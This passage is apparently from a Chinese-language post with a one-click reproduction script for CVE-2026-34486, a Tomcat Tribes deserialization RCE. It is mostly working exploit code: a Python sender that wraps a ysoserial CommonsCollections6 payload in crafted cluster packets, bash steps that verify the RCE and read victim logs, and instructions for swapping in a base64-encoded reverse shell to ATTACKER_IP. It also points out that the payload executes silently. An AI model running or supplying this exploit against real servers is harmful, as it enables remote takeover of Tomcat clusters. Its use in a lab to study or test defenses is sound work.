inner = b""
inner += struct.pack(">q", 0)
inner += struct.pack(">i", port)
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += struct.pack(">b", len(host_bytes))
inner += host_bytes
inner += struct.pack(">i", 0)
inner += struct.pack(">i", 0)
inner += os.urandom(16)
inner += struct.pack(">i", 0)
return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END
def build_channel_data(message_body, host_bytes, port):
unique_id = os.urandom(16)
member_data = build_member_data(host_bytes, port)
cd = b""
cd += struct.pack(">i", 0)
cd += struct.pack(">q", int(time.time() * 1000))
cd += struct.pack(">i", len(unique_id))
cd += unique_id
cd += struct.pack(">i", len(member_data))
cd += member_data
cd += struct.pack(">i", len(message_body))
cd += message_body
return cd
def send_exploit(target_ip, target_port, payload_file, receiver_port):
with open(payload_file, 'rb') as f:
raw_payload = f.read()
host_bytes = socket.inet_aton(target_ip)
channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
packet = START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
sock.sendall(packet)
try:
sock.recv(4096)
except socket.timeout:
pass
sock.close()
if __name__ == '__main__':
send_exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], int(sys.argv[4]))
PYEXPLOIT
chmod +x "$WORKDIR/exploit.py"
# 发送攻击
info "发送攻击 Payload 到 ${LOCAL_IP}:${NODE1_TRIBES_PORT}..."
python3 "$WORKDIR/exploit.py" "$LOCAL_IP" "$NODE1_TRIBES_PORT" "$WORKDIR/payload_touch.bin" "$NODE1_TRIBES_PORT"
info "等待攻击生效 (5秒)..."
sleep 5
# ==================== 8. 验证结果 ====================
info "步骤 8/8: 验证漏洞触发..."
echo ""
echo "======================================================================"
echo -e "${RED} CVE-2026-34486 复现结果${NC}"
echo "======================================================================"
echo ""
# 检查 RCE 标志文件
if [ -f "$RCE_MARKER" ]; then
echo -e " ${GREEN}✅ RCE 成功!${NC} 标志文件已创建:"
echo ""
ls -la "$RCE_MARKER"
echo ""
else
echo -e " ${RED}❌ RCE 未触发${NC},标志文件 ${RCE_MARKER} 不存在"
echo ""
fi
# 检查受害者日志
echo " 受害者日志 (解密失败记录):"
echo " ----------------------------------------------------------------------"
grep -A3 "Failed to decrypt" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -8 || echo " (未找到解密失败日志)"
echo ""
echo " 受害者日志 (EncryptInterceptor 启动确认):"
echo " ----------------------------------------------------------------------"
grep "EncryptInterceptor" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -3 || echo " (未找到 EncryptInterceptor 日志)"
echo ""
echo " 受害者日志 (集群成员发现):"
echo " ----------------------------------------------------------------------"
grep "memberAdded" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null | head -2 || echo " (未找到集群成员日志)"
echo ""
# 检查是否有反序列化异常(不应该有)
if grep -q "InvalidClassException\|ClassNotFoundException\|serialization" "$WORKDIR/tomcat-node1/logs/catalina.out" 2>/dev/null; then
echo -e " ${YELLOW}[!] 检测到反序列化异常日志(可能 gadget chain 不兼容)${NC}"
else
echo -e " ${GREEN}✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)${NC}"
fi
echo ""
echo "======================================================================"
echo ""
echo " 环境信息:"
echo " - 工作目录: ${WORKDIR}"
echo " - Node1: HTTP ${NODE1_HTTP_PORT}, Tribes TCP ${NODE1_TRIBES_PORT}"
echo " - Node2: HTTP ${NODE2_HTTP_PORT}, Tribes TCP ${NODE2_TRIBES_PORT}"
echo " - Tomcat 版本: ${TOMCAT_VERSION} (漏洞版本)"
echo " - RCE 标志: ${RCE_MARKER}"
echo ""
echo " 清理命令:"
echo " cd ${WORKDIR}/tomcat-node1 && bin/shutdown.sh"
echo " cd ${WORKDIR}/tomcat-node2 && bin/shutdown.sh"
echo " rm -f ${RCE_MARKER}"
echo " rm -rf ${WORKDIR}"
echo ""
echo "======================================================================"
一键脚本使用说明
前提条件:
- Ubuntu 18.04+ / Debian 10+ 系统
- root 权限
- 可访问外网(下载 Tomcat、ysoserial、Commons Collections)
执行方式:
# 保存脚本
chmod +x cve-2026-34486-repro.sh
# 一键运行
sudo ./cve-2026-34486-repro.sh
脚本执行流程:
| 步骤 | 内容 | 说明 |
|---|---|---|
| 1 | 检测并安装依赖 | JDK 11、Python3、wget 等 |
| 2 | 创建工作目录 | /opt/cve-2026-34486-lab |
| 3 | 下载 Tomcat 9.0.116 | 漏洞版本,解压两份 |
| 4 | 安装 Gadget 库 | Commons Collections 3.1 → lib/ |
| 5 | 下载 ysoserial | 反序列化 payload 生成工具 |
| 6 | 配置集群 | server.xml + EncryptInterceptor + web.xml |
| 7 | 启动集群并攻击 | 启动 → 生成 CC6 payload → Python PoC 发送 |
| 8 | 验证结果 | 检查 RCE 标志文件 + 受害者日志 |
预期输出:
[*] 步骤 8/8: 验证漏洞触发...
======================================================================
CVE-2026-34486 复现结果
======================================================================
✅ RCE 成功! 标志文件已创建:
-rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED
受害者日志 (解密失败记录):
----------------------------------------------------------------------
SEVERE [Tribes-Task-Receiver...] EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16...
✅ 无反序列化异常日志 — payload 静默执行(攻击隐蔽性极高)
======================================================================
自定义 RCE 命令:
如需修改攻击命令,编辑脚本中的 RCE_MARKER 变量和 ysoserial 生成命令,例如:
# 修改为反弹 shell (需先编码)
# bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Base64 编码后:
java -jar ysoserial.jar CommonsCollections6 \
"bash -c {echo,BASE64_ENCODED_COMMAND}|{base64,-d}|bash" \
> payload_reverse.bin



















暂无评论内容